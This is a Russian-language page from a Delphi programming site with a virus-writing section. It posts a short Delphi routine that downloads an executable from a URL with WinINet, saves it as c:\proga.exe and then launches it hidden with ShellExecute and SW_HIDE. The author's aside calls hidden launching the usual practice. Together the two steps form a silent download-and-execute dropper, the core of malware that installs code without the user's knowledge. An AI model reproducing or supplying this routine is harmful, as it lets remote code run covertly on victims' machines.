Вторник, 19.02.2019, 11:57 Приветствую вас Гость | Группа "Гости" 


Меню сайта

Категории раздела
Вирусология [39]
Статьи о вирусах
Системные [0]
Работа с системой
Примеры [44]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Приколы [5]
Пишем шуточные програмки
Остальное [5]
Всё что не вошло

Помощь проекту

R106276538945
Z160640024212

Яндекс деньги
410011190732605

Недавние темы

Опрос
На каком языке кодите?

Всего ответов: 761

Главная » Статьи » Delphi » Примеры

Скачиваем и запускаем файл из инета средствами Delphi
uses Windows, Messages, Wininet, ShellAPI;

function GetInetFile(const URL, FileName: string): boolean;
const
BufferSize = 1024; // размер буффера для закачки фаила в килобайтах
//следовательно если фаил большего размера то работать не будет
//для таких случаев более удобен динамический массив
var
hSession, hURL: HInternet; //переменные соединения и открытия сессии
Buffer: array[1..BufferSize] of Byte; //сам буфер
BufferLen: DWORD; //длина прочитанного
myfile: file; //указатель на фаил
sAppName: string; //имя приложения
begin
Result := False; //пока не скачали
sAppName := ExtractFileName(Application.ExeName); //получаем имя нашего приложения
hSession := InternetOpen(PChar(sAppName), //это нужно для доступа в сеть
INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); //тип соединения настройка прокси и левые аттрибуты
try //пробуем пока ошибки не появились…
hURL := InternetOpenURL(hSession, PChar(URL), nil, 0, 0, 0); //получаем указатель на фаил в интернете
try //-\\-
AssignFile(myfile, FileName); //указываем и открываем на запись
Rewrite(myfile,1); // фаил для заполнения скаченым из нета
repeat //повторяем -
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); //пытаемся скачать
BlockWrite(myfile, Buffer, BufferLen); //записываем в фаил
until // - пока
BufferLen = 0; //ничего не скачено а если уже скачали то…
CloseFile(myfile); //закрываем закачанный фаил
Result := True; //и говорим что закачали
finally // на конец
InternetCloseHandle(hURL); //закрываем соедениние
end;
finally // -\\-
InternetCloseHandle(hSession); //закрываем указатель
end;
end;

Вызываем так: GetInetFile(’www.site.ru/proga.exe’, ‘c:\proga.exe’);

ЗЫ: После этого как обычно скрыто запускаем файл на локальной машине =):

ShellExecute(0, ‘open’, ‘c:\proga.exe’, ‘’, ‘’, SW_HIDE);

Категория: Примеры | Добавил: dolphin (27.09.2008)
Просмотров: 3010 | Рейтинг: 1.0/1

Всего комментариев: 0
avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка

Вирусология, взгляд из Delphi



Статистика
WOlist.ru - каталог качественных сайтов Рунета Счетчик тИЦ и PR
Статистика материалов
Файлов: 365
Форум: 1134/8058
Коментариев: 773
Новостей: 28

Статистика пользователей
Всего: 382
За неделю: 0
Вчера: 0
Сегодня: 0
Всего онлайн: 2
Гостей: 2
Пользователей: 0

delfcode.ru © 2008 - 2019 Хостинг от uCoz